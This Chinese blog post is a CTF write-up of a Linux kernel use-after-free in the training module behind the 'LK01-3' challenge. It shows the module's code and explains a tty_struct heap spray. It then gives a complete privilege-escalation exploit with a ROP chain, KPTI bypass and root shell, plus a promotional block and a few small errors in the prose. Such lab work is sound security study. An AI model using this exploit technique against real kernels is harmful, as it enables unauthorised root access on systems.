• 通过复用TTY结构体实现提权利用


    前言

    UAF是用户态中常见的漏洞,在内核中同样存在UAF漏洞,都是由于对释放后的空间处理不当,导致被释放后的堆块仍然可以使用所造成的漏洞。

    LK01-3

    结合题目来看UAF漏洞

    项目地址:https://github.com/h0pe-ay/Kernel-Pwn/tree/master/LK01-3

    open模块

    在执行open模块时会分配0x400大小的堆空间,并将地址存储在g_buf

    #define BUFFER_SIZE 0x400
    
    char *g_buf = NULL;
    
    static int module_open(struct inode *inode, struct file *file)
    {
      printk(KERN_INFO "module_open called\n");
    
      g_buf = kzalloc(BUFFER_SIZE, GFP_KERNEL);
      if (!g_buf) {
        printk(KERN_INFO "kmalloc failed");
        return -ENOMEM;
      }
    
      return 0;
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16

    read模块

    在读模块中,会从用户空间中读取0x400字节到g_buf执行的堆空间中

    static ssize_t module_read(struct file *file,
                               char __user *buf, size_t count,
                               loff_t *f_pos)
    {
      printk(KERN_INFO "module_read called\n");
    
      if (count > BUFFER_SIZE) {
        printk(KERN_INFO "invalid buffer size\n");
        return -EINVAL;
      }
    
      if (copy_to_user(buf, g_buf, count)) {
        printk(KERN_INFO "copy_to_user failed\n");
        return -EINVAL;
      }
    
      return count;
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18

    write模块

    在写模块中,会从用户空间拷贝400字节数据到内核堆空间中

    static ssize_t module_write(struct file *file,
                                const char __user *buf, size_t count,
                                loff_t *f_pos)
    {
      printk(KERN_INFO "module_write called\n");
    
      if (count > BUFFER_SIZE) {
        printk(KERN_INFO "invalid buffer size\n");
        return -EINVAL;
      }
    
      if (copy_from_user(g_buf, buf, count)) {
        printk(KERN_INFO "copy_from_user failed\n");
        return -EINVAL;
      }
    
      return count;
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18

    close模块

    close模块会释放g_buf指向的堆块空间

    static int module_close(struct inode *inode, struct file *file)
    {
      printk(KERN_INFO "module_close called\n");
      kfree(g_buf);
      return 0;
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    漏洞分析

    在读写模块中都限制了长度为0x400,这与一开始分配的堆空间大小一致,因此与LK01-2不同的是不存在堆溢出漏洞。但是在open模块中g_buf是唯一用来存储堆地址的变量,并且没有进行次数限制,那么就会导致多次调用open模块会使得存在多个指针指向同一块内存,若该内存被释放就会造成UAF漏洞。下图就是构造UAF漏洞的流程。

    image-20230911210004615

    当把g_buf释放掉后,通过fd2文件描述符同样能够操控g_buf的空间,问题是该如何劫持程序流程,由于堆空间是通过slab分配器进行分配的,而slab还可而已进行缓存,因此g_buf被释放后会放进缓存中,而g_buf的大小为0x400这与tty结构体一致,因此此时通过堆喷确保g_buf被分配到tty结构体。构造uaf的代码如下。

    ...
    	int fd1 = open("/dev/holstein", O_RDWR);
    	int fd2 = open("/dev/holstein", O_RDWR);
    	close(fd1);
    	for (int i = 0; i < 50; i++)
    	{
    		spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
    		if (spray[i] == -1)
    		{
    			printf("error!\n");
    			exit(-1);
    		}
    	}
    ...
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14

    这里我有一个疑惑的点,在模块中的close函数仅仅只是释放了g_buf的堆内存并没有后续操作,因此在执行close(fd1)之后,是不是还能对文件描述符fd1进行操作,后来试验之后发现不行,查询资料得到,文件描述符的移除是内核默认操作与重定义模块的close操作无关。

    帮助网安学习,全套资料S信免费领取:
    ① 网安学习成长路径思维导图
    ② 60+网安经典常用工具包
    ③ 100+SRC分析报告
    ④ 150+网安攻防实战技术电子书
    ⑤ 最权威CISSP 认证考试指南+题库
    ⑥ 超1800页CTF实战技巧手册
    ⑦ 最新网安大厂面试题合集(含答案)
    ⑧ APP客户端安全检测指南(安卓+IOS)

    在构造出UAF漏洞并进行堆喷之后,实际操作的g_buf指向的是tty的结构体,该结构体偏移0x18是一个函数表的操作指针,那么将该函数表修改为自定义的函数表即可。后续的操作与LK01-3一致,将指针操作修改为栈迁移到堆上,然后就是执行commit_creds(prepare_kernel_cred(0)),利用swapgs_restore_regs_and_return_to_usermode绕过kpti的保护。

    run.sh

    #!/bin/sh
    qemu-system-x86_64 \
        -m 64M \
        -nographic \
        -kernel bzImage \
        -append "console=ttyS0 loglevel=3 oops=panic panic=-1 pti=on kaslr" \
        -no-reboot \
        -cpu qemu64,+smap,+smep \
        -smp 1 \
        -monitor /dev/null \
        -initrd initramfs.cpio.gz \
        -net nic,model=virtio \
        -net user \
        -s
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14

    exp

    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    int spray[100];
    
    //0xffffffff8114fbe8: add al, ch; push rdx; xor eax, 0x415b004f; pop rsp; pop rbp; ret; 
    //0xffffffff8114078a: pop rdi; ret;
    //0xffffffff81638e9b: mov rdi, rax; rep movsq qword ptr [rdi], qword ptr [rsi]; ret; 
    //0xffffffff810eb7e4: pop rcx; ret;
    //0xffffffff81072560 T prepare_kernel_cred
    //0xffffffff810723c0 T commit_creds
    //0xffffffff81800e10 T swapgs_restore_regs_and_return_to_usermode
    
    #define push_rdx_pop_rsp_offset 0x14fbe8
    #define pop_rdi_ret_offset 0x14078a
    #define pop_rcx_ret_offset 0xeb7e4
    #define prepare_kernel_cred_offset 0x72560
    #define commit_creds_offset 0x723c0
    #define swapgs_restore_regs_and_return_to_usermode_offset 0x800e10
    #define mov_rdi_rax_offset  0x638e9b
    
    unsigned long user_cs, user_sp, user_ss, user_rflags;
    
    
    
    void backdoor()
    {
    	printf("****getshell****");
    	system("id");
    	system("/bin/sh");
    }
    
    void save_user_land()
    {
    	__asm__(
    		".intel_syntax noprefix;"
    		"mov user_cs, cs;"
    		"mov user_sp, rsp;"
    		"mov user_ss, ss;"
    		"pushf;"
    		"pop user_rflags;"
    		".att_syntax;"
    	);
    	puts("[*] Saved userland registers");
    	printf("[#] cs: 0x%lx \n", user_cs);
    	printf("[#] ss: 0x%lx \n", user_ss);
    	printf("[#] rsp: 0x%lx \n", user_sp);
    	printf("[#] rflags: 0x%lx \n", user_rflags);
    	printf("[#] backdoor: 0x%lx \n\n", backdoor);
    }
    
    
    int main() {
    	save_user_land();
    	int fd1 = open("/dev/holstein", O_RDWR);
    	int fd2 = open("/dev/holstein", O_RDWR);
    	close(fd1);
    	for (int i = 0; i < 50; i++)
    	{
    		spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
    		if (spray[i] == -1)
    		{
    			printf("error!\n");
    			exit(-1);
    		}
    	}
    	char buf[0x400];
    	read(fd2, buf, 0x400);
    	unsigned long *p = (unsigned long *)&buf;
    	//for (unsigned int i = 0; i < 0x80; i++)
    	//	printf("[%x]:addr:0x%lx\n",i,p[i]);
    	unsigned long kernel_addr = p[3];
    	unsigned long heap_addr = p[7];
    	printf("kernel_addr:0x%lx\nheap_addr:0x%lx\n",kernel_addr,heap_addr);
    	unsigned long kernel_base = kernel_addr - 0xc39c60;
    	unsigned long g_buf = heap_addr - 0x38;
    	printf("kernel_base:0x%lx\ng_buf:0x%lx\n",kernel_base,g_buf);
    	*(unsigned long *)&buf[0x18] = g_buf;
    	p[0xc] = push_rdx_pop_rsp_offset + kernel_base;
    	//for (unsigned long i = 0xd; i < 0x80; i++)
    	//	p[i] = i;
    	p[0x21] = pop_rdi_ret_offset + kernel_base;
    	p[0x22] = 0;
    	p[0x23] = prepare_kernel_cred_offset + kernel_base;
    	p[0x24] = pop_rcx_ret_offset + kernel_base;
    	p[0x25] = 0;
    	p[0x26] = mov_rdi_rax_offset + kernel_base;
    	p[0x27] = commit_creds_offset + kernel_base;
    	p[0x28] = swapgs_restore_regs_and_return_to_usermode_offset + 0x16 + kernel_base;
    	p[0x29] = 0;
    	p[0x2a] = 0;
    	p[0x2b] = (unsigned long)backdoor;
        p[0x2c] = user_cs;
        p[0x2d] = user_rflags;
        p[0x2e] = user_sp;
        p[0x2f] = user_ss;  
    	write(fd2, buf, 0x400);
    	for (int i = 0; i < 50; i++)
    		ioctl(spray[i], 0, g_buf+0x100);	
    		
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74
    • 75
    • 76
    • 77
    • 78
    • 79
    • 80
    • 81
    • 82
    • 83
    • 84
    • 85
    • 86
    • 87
    • 88
    • 89
    • 90
    • 91
    • 92
    • 93
    • 94
    • 95
    • 96
    • 97
    • 98
    • 99
    • 100
    • 101
    • 102
    • 103
    • 104
    • 105
  • 相关阅读:
    STM32--WDG看门狗
    Java根据ip地址获取归属地
    单链表的排序操作
    【HCIP】BGP 基础
    .net 项目静态文件自动压缩打包
    什么是分布式、什么是分布式调度、分布式调度要实现的目标
    python,pandas ,openpyxl提取excel特定数据,合并单元格合并列,设置表格格式,设置字体颜色,
    springboot+旅游网站 毕业设计-附源码211713
    linux内核如何根据文件名索引到文件内容
    Linux基础 - Web服务基础
  • 原文地址:https://blog.csdn.net/qq_38154820/article/details/133137230